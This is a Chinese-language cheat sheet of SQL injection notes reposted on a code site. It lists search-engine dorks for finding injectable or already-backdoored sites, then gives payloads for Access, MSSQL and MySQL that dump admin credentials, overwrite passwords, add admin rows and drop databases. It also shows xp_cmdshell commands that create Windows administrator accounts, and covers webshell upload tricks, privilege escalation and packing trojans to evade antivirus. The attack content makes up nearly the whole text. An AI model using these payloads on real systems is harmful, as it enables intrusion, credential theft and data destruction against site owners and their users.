SQL注入筆記


1  FootPrinting 要收集的信息有十個方面 網站注冊信息 B 網管資料 C  共享資料 D  端口信息 E FTP 資源 網絡拓撲結構 G  網站URL 地址結構 H 網站系統版本 I  后台地址 J  弱口令
常用語法 intext  allintext intitle  allintitle cache define filetype info inurl link site related URL
邏輯非 A-C  A C 的網頁  OR  邏輯或  AORB    精確搜索用雙引號   通配符 * 一串字符 ?單個字符  含有通配符的關鍵字要引號  對忽略的關鍵字進行強制搜索,關鍵字前加上明文的+
入侵
查找別人流行的Webshell   利用木馬的關鍵字查找  有很多木馬都有  絕對的路徑  保存的路徑,輸入文件內容等關鍵字diy.asp
搜索存在的注入漏洞站點 inurl:asp?id=
查找特點網站的注入漏洞 site xxx.com inurl:php?id=
判斷是否存在注入 and 1=1   and 1=2  出現頁面不一樣,存在
暴庫 Conn.asp  暴庫法  inrul conn.asp   %5c 暴庫法   網站最后一個改成 %5c  暴庫
XSS  提交<script>alert(“test”)</script> 彈窗
<imgsrc=javascript:alert(“test”)>   可以通過轉換進制來繞過檢測或過濾
工具注入 使用  D    Pangolin  Havij  
手工注入
ACCESS
http://ww.xxx.com/xx.asp?id=xxxx ’  出錯就存在注入 提交 and 1=1 and 1=2
http://www/xxx.com/xx.asp?id=xand user>0  判斷數據庫類型 ACCESS  會有 Microsoft JET Database  MSSQL  會有 SQL Server
http://www/xxx.com/xx.asp?id=xand exist (select * from admin)  返回正常,說明存在 一般的表名為admin  password
猜解列名 exists (select  列名 from  表名或者 exists  select (列名)from  表名)
猜解列的長度 and (select top 1 len( 列名) from  表名)> 數字  出錯的數字是幾就說明長度為幾
猜解用戶名/ 密碼 and (select top 1 asc(mid( 列名, 列數N,1)) from  表名)>X  Top 后的數字為該列的第N 行,X ASCII 碼,列數N 就是在這一列中的第幾個數字
SQL Server MSSQL
數字型
http://www/xxx.com/xx.asp?id=x 添加單引號出錯  提交 and 1=1   and 1=2
http://www/xxx.com/xx.asp?id=xand user>0  得到用戶名
http://www/xxx.com/xx.asp?id=xhaving 1=1 –   得到表名
http://www/xxx.com/xx.asp?id=xgroup by  表名 having 1=1--   得到列名
暴任意表名和用戶名語句and (select top 1 name from(select top Nid, name from sysobjects where xtype=char(85)) T order by id desc)>1  其中N 就是代表數據庫中的第N 個表
暴任意表中的任意列的語句
and (select top 1 col_name(object_id(‘ 表名’),1) fromm sysobjects)>1  第一個列名
and (select top 1 col_name(object_id(‘ 表名’),2) fromm sysobjects)>1  第二個列名
暴數據庫的數據and (select top 1  列名 from  表名 whereid=N)>1  其中N 代表第N 條數據
http://www/xxx.com/xx.asp?id=xand (select top 1 username from admin where id=1)>1  猜解admin 表中的username 的第一台數據
http://www/xxx.com/xx.asp?id=xand (select top 1 password from admin where id=1)>1  得到密碼
字符型
http://www/xxx.com/xx.asp?action=value  value 就是一個字符
http://www/xxx.com/xx.asp?action=value’and 1=1   and 1=2  來判斷注入
http://www/xxx.com/xx.asp?action=value’and user>0  判斷數據庫類型

 

2搜索型注入利用了SQL語句中的模糊查詢功能   在搜索框中輸入 “要搜索的關鍵字%’ and 注入工具代碼”
注入過程中暴出的管理員密碼是經過MD5加密,又不能破解,這個時候直接利用SQL注入來修改數據庫中的數據,直接把管理員的密碼改掉
語句 ;update 表名 set 列名=’內容’ where 條件
如 http://www/xxx.com/xx.asp?id=xx;update admin set password=’123’ where username=’aaa’
其功能就是把admin 表中的username為aaa的密碼改為123
新添加一個管理員 語句 ;insert into 表名 values(內容)--
如http://www/xxx.com/xx.asp?id=xx;insert into admin values(aaa,123)--
其功能就是往admin表中添加一個username為aaa password 為123的管理員
得到數據庫名稱為bbb  執行 ;drop database bbb , bbb數據庫就刪除了
如http://www/xxx.com/xx.asp?id=xx;drop database bbb
URL后面提交 and (select @@version)>0 來獲取數據庫版本
提交 and db_name()>0 來獲得當前數據庫名
提交 and user>0  獲得當前數據庫用戶名 還有其他的一些如SESSION_USER  CURRENT_USER  SYSTEM_USER 
判斷權限  提交http://www/xxx.com/xx.asp?id=xx and user>0 返回PUBLIC 當前就是PUBLIC權限
判斷是否支持多句查詢 提交 http://www/xxx.com/xx.asp?id=xx;declare @a int—
判斷是否支持子查詢   提交 http://www/xxx.com/xx.asp?id=xx and (select cout(1) from [sysobject])>0
擴展存儲過程  需要sa權限才能執行
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ dir c:\’  查看c盤根目錄相關的文件和文件夾
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ netuser 123 123/add’ 和
       http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘net localgroup administrators 123/add’  添加一個管理員
提交 http://www/xxx.com/xx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=’X’ and name=’xp_cmdshell’ 返回說明擴展存儲過程存在
不存在,我們使用 http://www/xxx.com/xx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’ 來恢復,如果要刪除,執行exec sp_dropextendedproc ‘xp_cmdshell’
提交http://www/xxx.com/xx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT  ‘wscript.shell’, @s exec master..SPOAMETHON @s, ‘run’,null,’cmd.exe/c dir c:\’  通過sp_OACREAT 和sp_OAMETHOD 來執行DOS命令
MySQL
Google 中輸入 inurl:php?id= 就能得到很多php站了
http://www/xxx.com/xx.php?id=32 后面添加 and 1=1 和 and 1=2 判斷是否存在注入
http://www/xxx.com/xx.php?id=32/* 只有MySQL數據庫支持/*注釋,提交就能夠判斷
and ord(mid(verion(),1,1))>51/* 確定版本  返回正常版本大於4.0  錯誤,不支持UNION查詢   51是ASC碼3 大於3 就是4版本以上
URL提交 /*!%20s*/ 返回錯誤,可判斷該數據為MySQL
URL提交/*!40000%20s*/ 返回錯誤,版本大於4
利用 union select 1,2,3,4 來獲得字段數 或 order by 10 來獲得
Union select 字段數 from 表名  字段數有三個 就應該是 1,2,3
http://www/xxx.com/xx.php?id=32 union select 1,2,3,4,5,6,7 from admin
http://www/xxx.com/xx.php?id=32 union select 1,version(),3,4,5,6,7 from admin 來判斷版本
http://www/xxx.com/xx.php?id=32 union select 1,username,3,4,5,6,7 from admin 來獲得用戶名
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin 來獲得用戶名密碼
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin where id=2 得到第二天記錄
http://www/xxx.com/xx.php?id=32 and ord(mid(user(),1,1))=114/* 返回正常說明是root權限
and (select count(*) from MySQL.user)>0 來判斷是否具有文件讀寫的權限http://www/xxx.com/xx.php?id=32 union select 1,load_file(0x655A2F626F6F742E696E69),3,4,5,6,7 from admin  就可以讀取c:\boot.ini 中的信息
旁注
如何獲得Webshell
ASP系統  會過濾掉asp后綴,提交aspx 木馬 或者把后綴改為 ASA CER  AASPSP 
PHP和JSP  一般是linux系統 會解析perl  后綴名 pl  在windows上 上傳ASPX ASA CER 都可以獲得webshell
后台備份恢復獲得webshell
SQL導出獲得webshell  可以使用getwebshell工具導出
寫入過濾不完全獲得webshell  利用一句話 菜刀連接,上傳大馬
提權 pcanywhere  serv-u  sam 提權
查找conn config pass 看能否得到sa mysql 密碼
檢查系統服務 task 
大部分網站管理員會刪除cmd net 我們需要上傳cmd.exe  net.exe net1.exe
后台數據庫是SQL Server提交http://www.xxx.com/xxx/asp?id=xx;exec master.dbo.xp_cmdshell ‘cacls d:\home /t /e /c /g everyone:f’ ;-- 這樣賦予了操作系統everyone組的成員所有權限,可以上傳
利用本地溢出程序進行提權 木馬的加密與防殺 加殼就是對木馬進行加密或變換 網絡釣魚 社會工程學


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM